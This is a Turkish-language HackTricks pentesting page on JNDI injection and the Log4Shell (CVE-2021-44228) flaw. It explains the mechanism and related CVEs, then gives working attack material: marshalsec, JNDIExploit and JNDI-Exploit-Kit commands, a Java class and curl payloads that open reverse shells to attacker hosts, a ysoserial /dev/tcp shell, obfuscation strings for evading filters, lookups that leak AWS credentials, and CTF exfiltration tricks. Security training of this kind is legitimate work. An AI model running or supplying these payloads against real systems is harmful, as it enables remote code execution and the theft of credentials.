JNDI - Java Naming and Directory Interface & Log4Shell
Reading time: 19 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiş bir dizin hizmetidir ve Java programlarının bir adlandırma sistemi aracılığıyla veri veya nesneleri bulmasını sağlar. Farklı sistemlerden veri alımını sağlayan hizmet sağlayıcı arayüzleri (SPI'ler) aracılığıyla çeşitli dizin hizmetlerini destekler, uzaktaki Java nesneleri de dahil. Yaygın SPI'ler arasında CORBA COS, Java RMI Registry ve LDAP bulunmaktadır.
JNDI Adlandırma Referansı
Java nesneleri, iki biçimde gelen JNDI Adlandırma Referansları kullanılarak saklanabilir ve alınabilir:
- Referans Adresleri: Bir nesnenin konumunu belirtir (örneğin, rmi://server/ref), belirtilen adresten doğrudan alım yapılmasına olanak tanır.
- Uzaktan Fabrika: Bir uzaktan fabrika sınıfına referans verir. Erişim sağlandığında, sınıf uzaktan indirilir ve örneklendirilir.
Ancak, bu mekanizma istismar edilebilir ve potansiyel olarak keyfi kodun yüklenmesine ve çalıştırılmasına yol açabilir. Bir karşı önlem olarak:
- RMI: JDK 7u21'den itibaren varsayılan olarak
java.rmi.server.useCodeabseOnly = true
, uzaktan nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, yüklenebilecekleri daha da sınırlar. - LDAP: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak
com.sun.jndi.ldap.object.trustURLCodebase = false
, uzaktan yüklenen Java nesnelerinin çalıştırılmasını engeller.true
olarak ayarlandığında, uzaktan kod çalıştırma, bir Güvenlik Yöneticisi'nin denetimi olmadan mümkündür. - CORBA: Belirli bir özelliğe sahip değildir, ancak Güvenlik Yöneticisi her zaman aktiftir.
Ancak, JNDI bağlantılarını çözmekten sorumlu olan Adlandırma Yöneticisi, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına olanak tanıyabilir. Bu, RMI, LDAP ve CORBA korumalarının aşılabileceği ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadgets) istismar edilmesine yol açabilir.
İstismar edilebilir URL örnekleri şunlardır:
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
Koruma olmasına rağmen, JNDI'nin güvensiz kaynaklardan yüklenmesine karşı koruma eksikliği ve mevcut korumaların aşılma olasılığı nedeniyle açıklar devam etmektedir.
JNDI Örneği
Bir PROVIDER_URL
ayarlamış olsanız bile, bir arama sırasında farklı birini belirtebilir ve erişim sağlanabilir: ctx.lookup("<attacker-controlled-url>")
ve bu, bir saldırganın kendisinin kontrol ettiği bir sistemden keyfi nesneleri yüklemek için istismar edeceği şeydir.
CORBA Genel Bakış
CORBA (Common Object Request Broker Architecture), uzaktaki nesneleri benzersiz bir şekilde tanımlamak için bir Interoperable Object Reference (IOR) kullanır. Bu referans, aşağıdaki gibi temel bilgileri içerir:
- Tip Kimliği: Bir arayüz için benzersiz tanımlayıcı.
- Kod Tabanı: Stub sınıfını elde etmek için URL.
Özellikle, CORBA doğası gereği savunmasız değildir. Güvenliği sağlamak genellikle şunları içerir:
- Bir Güvenlik Yöneticisi kurulumu.
- Güvenlik Yöneticisi'nin potansiyel olarak kötü niyetli kod tabanlarına bağlantılara izin verecek şekilde yapılandırılması. Bu, aşağıdaki gibi gerçekleştirilebilir:
- Soket izni, örneğin,
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Kötü niyetli dosyaların yerleştirilebileceği belirli dizinler için evrensel (
permission java.io.FilePermission "<<ALL FILES>>", "read";
) veya dosya okuma izinleri.
Ancak, bazı satıcı politikaları varsayılan olarak bu bağlantılara izin verebilir.
RMI Bağlamı
RMI (Remote Method Invocation) için durum biraz farklıdır. CORBA'da olduğu gibi, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi istismar etmek için genellikle Güvenlik Yöneticisi'ni aşmak gerekir; bu, CORBA'da da geçerlidir.
LDAP
Öncelikle, bir Arama ile bir Lookup arasında ayrım yapmamız gerekiyor.
Bir arama, ldap://localhost:389/o=JNDITutorial
gibi bir URL kullanarak LDAP sunucusundan JNDITutorial nesnesini bulacak ve özelliklerini alacaktır.
Bir lookup, bir isme bağlı olan her şeyi almak için adlandırma hizmetleri içindir.
Eğer LDAP araması SearchControls.setReturningObjFlag() ile true
olarak çağrıldıysa, döndürülen nesne yeniden yapılandırılacaktır.
Bu nedenle, bu seçenekleri saldırmak için birkaç yol vardır.
Bir saldırgan, sistemlerin topladığı kayıtlara yükler ekleyerek LDAP kayıtlarını zehirleyebilir (LDAP sunucusuna erişiminiz varsa onlarca makineyi tehlikeye atmak için çok faydalıdır). Bunu istismar etmenin bir diğer yolu, örneğin bir LDAP aramasında MitM saldırısı gerçekleştirmektir.
Eğer bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, arama yapılacak LDAP'ı kontrol edebilir ve istismarı geri gönderebilirsiniz (log4shell).
Deserialization istismarı
istismar serileştirilmiştir ve yeniden serileştirilecektir.
Eğer trustURLCodebase
true
ise, bir saldırgan kendi sınıflarını kod tabanında sağlayabilir; aksi takdirde, sınıf yolundaki gadget'ları istismar etmesi gerekecektir.
JNDI Referans istismarı
Bu LDAP'ı JavaFactory referansları kullanarak saldırmak daha kolaydır:
Log4Shell Açığı
Açık, Log4j'de, ${prefix:name}
biçiminde bir özel sözdizimi desteklediği için ortaya çıkmaktadır; burada prefix
, değerlendirilecek farklı Lookups arasında bir tanesidir. Örneğin, ${java:version}
mevcut çalışan Java sürümüdür.
LOG4J2-313 bir jndi
Lookup özelliği tanıttı. Bu özellik, JNDI aracılığıyla değişkenlerin alınmasını sağlar. Genellikle, anahtar otomatik olarak java:comp/env/
ile ön eklenir. Ancak, anahtarın kendisi ":" içeriyorsa, bu varsayılan ön ek uygulanmaz.
Anahtar içinde : mevcut olduğunda, ${jndi:ldap://example.com/a}
gibi, hiçbir ön ek yoktur ve LDAP sunucusu nesne için sorgulanır. Bu Lookuplar, hem Log4j yapılandırmasında hem de satırlar kaydedilirken kullanılabilir.
Bu nedenle, RCE elde etmek için gereken tek şey, kullanıcı tarafından kontrol edilen bilgileri işleyen savunmasız bir Log4j sürümüdür. Ve bu, Java uygulamaları tarafından bilgi kaydetmek için yaygın olarak kullanılan bir kütüphane olduğundan (internetle yüzleşen uygulamalar dahil), örneğin alınan HTTP başlıkları gibi log4j kaydı yapmak oldukça yaygındır. Ancak, log4j yalnızca HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girdi ve veriyi kaydetmek için kullanılmamaktadır.
Log4Shell ile İlgili CVE'lerin Genel Görünümü
CVE-2021-44228 [Kritik]
Bu açık, log4j-core
bileşeninde kritik bir güvensiz serileştirme hatasıdır, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. uzaktan kod çalıştırma (RCE) olanağı tanır ve saldırganların sistemleri ele geçirmesine olanak sağlar. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından rapor edilmiştir ve çeşitli Apache çerçevelerini etkilemektedir. 2.15.0 sürümündeki ilk düzeltme eksikti. Savunma için Sigma kuralları mevcuttur (Kural 1, Kural 2).
CVE-2021-45046 [Kritik]
Başlangıçta düşük derecelendirilmiş ancak daha sonra kritik olarak yükseltilmiş olan bu CVE, CVE-2021-44228 için 2.15.0'daki eksik bir düzeltmeden kaynaklanan bir Hizmet Reddi (DoS) hatasıdır. Varsayılan olmayan yapılandırmaları etkilemekte ve saldırganların hazırlanmış yükler aracılığıyla DoS saldırıları gerçekleştirmesine olanak tanımaktadır. Bir tweet bir atlatma yöntemini göstermektedir. Sorun, 2.16.0 ve 2.12.2 sürümlerinde mesaj arama desenlerinin kaldırılması ve JNDI'nin varsayılan olarak devre dışı bırakılmasıyla çözülmüştür.
CVE-2021-4104 [Yüksek]
Log4j 1.x sürümlerini etkilemekte olan bu CVE, JMSAppender
kullanan varsayılan olmayan yapılandırmalarda bir güvensiz serileştirme hatasıdır. 1.x dalı için bir düzeltme mevcut değildir ve log4j-core 2.17.0
sürümüne yükseltilmesi önerilmektedir.
CVE-2021-42550 [Orta]
Bu açık, Log4j 1.x'in halefidir olan Logback kayıt çerçevesini etkilemektedir. Daha önce güvenli olduğu düşünülen çerçeve, savunmasız olduğu bulunmuş ve sorunu gidermek için daha yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.
CVE-2021-45105 [Yüksek]
Log4j 2.16.0, bir DoS hatası içermekte olup, CVE'yi düzeltmek için log4j 2.17.0
sürümü yayımlanmıştır. Daha fazla ayrıntı BleepingComputer'ın raporunda bulunmaktadır.
CVE-2021-44832
Log4j 2.17 sürümünü etkileyen bu CVE, saldırganın log4j'nin yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod çalıştırma ile ilgilidir. Daha fazla ayrıntı Checkmarx blog yazısında mevcuttur.
Log4Shell İstismarı
Keşif
Bu açık, korunmasızsa keşfedilmesi çok kolaydır çünkü en az bir DNS isteği belirttiğiniz adrese gönderilecektir. Bu nedenle, aşağıdaki gibi yükler:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(using canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(using interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(using Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(using dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
using (using huntress)
Unutmayın ki bir DNS isteği alınması, uygulamanın istismar edilebilir olduğu anlamına gelmez (veya hatta savunmasız olduğu), bunu istismar etmeyi denemeniz gerekecektir.
note
2.15 sürümünü istismar etmek için localhost kontrol atlatmasını eklemeyi unutmayın: ${jndi:ldap://127.0.0.1#...}
Yerel Keşif
Kütüphanenin yerel savunmasız sürümlerini arayın:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Doğrulama
Daha önce listelenen bazı platformlar, talep edildiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir.
Bu, 2 şey için çok faydalı olabilir:
- Açığı doğrulamak için
- Açığı istismar ederek bilgi sızdırmak için
Örneğin, şöyle bir şey talep edebilirsiniz:
veya ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
gibi ve eğer env değişkeninin değeri ile bir DNS isteği alınırsa, uygulamanın açık olduğunu bilirsiniz.
Denemek isteyebileceğiniz diğer bilgiler:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE Bilgisi
note
JDK sürümleri 6u141, 7u131 veya 8u121'in üzerinde çalışan ana makineler, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, com.sun.jndi.ldap.object.trustURLCodebase
'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır; bu da JNDI'nin LDAP aracılığıyla uzaktan bir kod tabanı yüklemesini engeller. Ancak, bu sürümlerin deserialization saldırı vektörüne karşı korunmadığını belirtmek önemlidir.
Bu daha yüksek JDK sürümlerini istismar etmeyi hedefleyen saldırganlar için, Java uygulaması içinde bir güvenilir alet kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Aksine, daha düşük JDK sürümlerini istismar etmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve çalıştırmak için manipüle edilebilir.
Daha fazla bilgi için (RMI ve CORBA vektörleri üzerindeki sınırlamalar gibi) önceki JNDI İsimlendirme Referans bölümüne veya https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ bakın.
RCE - Marshalsec ile özel yük
Bunu THM kutusunda test edebilirsiniz: https://tryhackme.com/room/solar
Aracı marshalsec kullanın (jar sürümü burada mevcuttur). Bu yaklaşım, bağlantıları istismar edilecek ikinci bir HTTP sunucusuna yönlendirmek için bir LDAP yönlendirme sunucusu kurar:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Hedefi bir ters shell kodu yüklemeye zorlamak için, aşağıdaki içeriğe sahip Exploit.java
adında bir Java dosyası oluşturun:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Java dosyasını bir sınıf dosyasına derlemek için: javac Exploit.java -source 8 -target 8
. Ardından, sınıf dosyasını içeren dizinde bir HTTP sunucusu başlatmak için: python3 -m http.server
. marshalsec LDAP sunucası bu HTTP sunucusunu referans aldığından emin olun.
Hedef web sunucusunda istismar sınıfının çalıştırılmasını tetiklemek için aşağıdaki gibi bir yük gönderin:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Not: Bu exploit, Java'nın LDAP üzerinden uzaktan kod tabanı yüklemeye izin veren yapılandırmasına dayanıyor. Eğer bu izin verilmiyorsa, rastgele kod yürütme için güvenilir bir sınıfı kullanmayı düşünün.
RCE - JNDIExploit
not
Yazarın log4shell keşfedildikten sonra bu projeyi github'dan kaldırdığına dikkat edin. https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 adresinde önbelleğe alınmış bir versiyonunu bulabilirsiniz, ancak yazarın kararına saygı göstermek istiyorsanız bu açığı kullanmak için farklı bir yöntem kullanın.
Ayrıca, kaynak kodunu wayback makinesinde bulamazsınız, bu yüzden ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmeden jar dosyasını çalıştırın.
Bu örnek için, port 8080'de log4shell için bu savunmasız web sunucusunu çalıştırabilirsiniz: https://github.com/christophetd/log4shell-vulnerable-app (README'de nasıl çalıştırılacağını bulacaksınız). Bu savunmasız uygulama, HTTP istek başlığı X-Api-Version'ın içeriğini log4shell'in savunmasız bir versiyonu ile kaydediyor.
Ardından, JNDIExploit jar dosyasını indirip şu şekilde çalıştırabilirsiniz:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
Kodun sadece birkaç dakikasını okuduktan sonra, com.feihong.ldap.LdapServer ve com.feihong.ldap.HTTPServer içinde LDAP ve HTTP sunucularının nasıl oluşturulduğunu görebilirsiniz. LDAP sunucusu hangi yükün sunulması gerektiğini anlayacak ve kurbanı, istismarı sunacak olan HTTP sunucusuna yönlendirecektir.
com.feihong.ldap.gadgets içinde, istenen eylemi gerçekleştirmek için kullanılabilecek bazı özel aletler bulabilirsiniz (potansiyel olarak rastgele kod çalıştırmak). Ve com.feihong.ldap.template içinde, istismarları üretecek farklı şablon sınıflarını görebilirsiniz.
Tüm mevcut istismarları java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
ile görebilirsiniz. Bazı yararlı olanlar şunlardır:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Yani, örneğimizde, zaten o docker zayıf uygulamasını çalıştırıyoruz. Ona saldırmak için:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Saldırıları gönderdiğinizde, JNDIExploit-1.2-SNAPSHOT.jar dosyasını çalıştırdığınız terminalde bazı çıktılar göreceksiniz.
Diğer istismar seçenekleri için java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
komutunu kontrol etmeyi unutmayın. Ayrıca, ihtiyacınız olursa LDAP ve HTTP sunucularının portunu değiştirebilirsiniz.
RCE - JNDI-Exploit-Kit
Önceki istismara benzer şekilde, bu güvenlik açığını istismar etmek için JNDI-Exploit-Kit kullanmayı deneyebilirsiniz.
Kurbanınıza göndermek için URL'leri oluşturmak üzere şu komutu çalıştırabilirsiniz:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Bu saldırı, özel olarak üretilmiş bir java nesnesi kullanarak THM solar room gibi laboratuvarlarda çalışacaktır. Ancak, bu genellikle çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzaktan kod tabanı yüklemek için yapılandırılmamıştır) bence çünkü rastgele kod yürütmek için güvenilir bir sınıfı istismar etmiyor.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus, çalışabilir JNDI bağlantıları oluşturmak ve RMI sunucusu, LDAP sunucusu ve HTTP sunucusu başlatarak arka plan hizmetleri sağlamak için başka bir araçtır.\
RCE - ysoserial & JNDI-Exploit-Kit
Bu seçenek, sadece belirli sınıflara güvenen ve herkese güvenmeyen Java sürümlerine saldırmak için gerçekten kullanışlıdır. Bu nedenle, ysoserial, rastgele kod yürütmek için kullanılabilecek güvenilir sınıfların serileştirmelerini oluşturmak için kullanılacaktır (ysoserial tarafından istismar edilen güvenilir sınıf, istifanın çalışması için kurban java programı tarafından kullanılmalıdır).
ysoserial veya ysoserial-modified kullanarak, JNDI tarafından indirilecek olan deserialization istismarını oluşturabilirsiniz:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
JNDI-Exploit-Kit kullanarak, istismarların savunmasız makinelerden bağlantılar bekleyeceği JNDI bağlantıları oluşturun. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulabilen farklı istismarları veya hatta kendi serileştirme yüklerinizi (sizin veya ysoserial tarafından oluşturulan) sunabilirsiniz.
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Artık oluşturulmuş bir JNDI bağlantısını kullanarak açığı istismar edebilir ve bir reverse shell elde edebilirsiniz, sadece bunu log4j'nin savunmasız bir versiyonuna göndererek: ${ldap://10.10.14.10:1389/generated}
Bypass'ler
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Otomatik Tarayıcılar
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Yerel zayıf kütüphaneleri bul
Test için Laboratuvarlar
- LogForge HTB makinesi
- Try Hack Me Solar odası
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Post-Log4Shell Sömürüsü
Bu CTF yazısı Log4J'nin bazı özelliklerinin istismar edilmesinin nasıl mümkün olduğunu iyi bir şekilde açıklamaktadır.
Log4j'nin güvenlik sayfası bazı ilginç cümleler içermektedir:
2.16.0 sürümünden itibaren (Java 8 için), mesaj arama özelliği tamamen kaldırılmıştır. Yapılandırmadaki aramalar hala çalışmaktadır. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakmaktadır. Yapılandırmadaki JNDI aramaları artık açıkça etkinleştirilmelidir.
2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), yalnızca yapılandırmadaki arama dizeleri özyinelemeli olarak genişletilmektedir; başka bir kullanımda, yalnızca en üst düzey arama çözülmekte ve herhangi bir iç içe geçmiş arama çözülmemektedir.
Bu, varsayılan olarak herhangi bir jndi
istismarını unutabileceğiniz anlamına gelir. Dahası, özyinelemeli aramalar gerçekleştirmek için bunları yapılandırmanız gerekmektedir.
Örneğin, bu CTF'de bu, log4j2.xml dosyasında yapılandırılmıştı:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Env Lookups
Bu CTF 'de saldırgan ${sys:cmd}
değerini kontrol ediyordu ve bir ortam değişkeninden bayrağı dışarı çıkarması gerekiyordu.
Bu sayfada önceki yükler içinde ortam değişkenlerine erişmenin farklı yolları vardır, örneğin: ${env:FLAG}
. Bu CTF'de bu işe yaramadı ama diğer gerçek yaşam senaryolarında işe yarayabilir.
Exfiltration in Exceptions
CTF'de, log4J kullanan java uygulamasının stderr'ine erişemediniz, ancak Log4J istisnaları stdout'a gönderilir, bu da python uygulamasında yazdırıldığı anlamına gelir. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarı çıkarmak için bir istisna: ${java:${env:FLAG}}
. Bu, ${java:CTF{blahblah}}
mevcut olmadığından ve bayrağın değeriyle bir istisna gösterileceğinden çalışır:
Conversion Patterns Exceptions
Sadece belirtmek gerekirse, yeni dönüşüm desenleri enjekte edebilir ve stdout
'a kaydedilecek istisnaları tetikleyebilirsiniz. Örneğin:
Bu, hata mesajı içindeki verileri dışarı çıkarmak için faydalı bulunmadı, çünkü arama dönüşüm deseninden önce çözülmedi, ancak tespit gibi diğer şeyler için faydalı olabilir.
Conversion Patterns Regexes
Ancak, bazı regex'leri destekleyen dönüşüm desenlerini kullanarak bir aramadan bilgi dışarı çıkarmak mümkündür ve ikili arama veya zaman tabanlı davranışları kötüye kullanarak.
- İstisna mesajları aracılığıyla ikili arama
Dönüşüm deseni %replace
bir dize içindeki içeriği değiştirmek için regex'leri kullanarak kullanılabilir. Şöyle çalışır: replace{pattern}{regex}{substitution}
Bu davranışı kötüye kullanarak, regex bir şeyle eşleşirse bir istisna tetiklenmesini sağlayabilir (ve bulunmadığında istisna olmaz) şöyle:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Zaman Tabanlı
Önceki bölümde belirtildiği gibi, %replace
regex destekler. Bu nedenle, bayrağın bulunması durumunda bir timeout oluşturmak için ReDoS sayfasından payload kullanmak mümkündür.
Örneğin, %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
gibi bir payload, o CTF'de bir timeout tetikleyecektir.
Bu yazıda, bir ReDoS saldırısı yerine bir amplification attack kullanılarak yanıtın zaman farkı oluşturması sağlanmıştır:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Eğer bayrak
flagGuess
ile başlıyorsa, tüm bayrak 29#
ile değiştirilir (bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). Sonuçta oluşan 29#
'ın her biri 54#
ile değiştirilir. Bu işlem 6 kez tekrarlanır ve toplamda29*54*54^6* =`` ``
96816014208
#
!Bu kadar çok
#
değiştirmek, Flask uygulamasının 10 saniyelik timeout'unu tetikleyecek ve bu da kullanıcının HTTP durum kodu 500 almasına neden olacaktır. (Eğer bayrakflagGuess
ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)
Referanslar
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.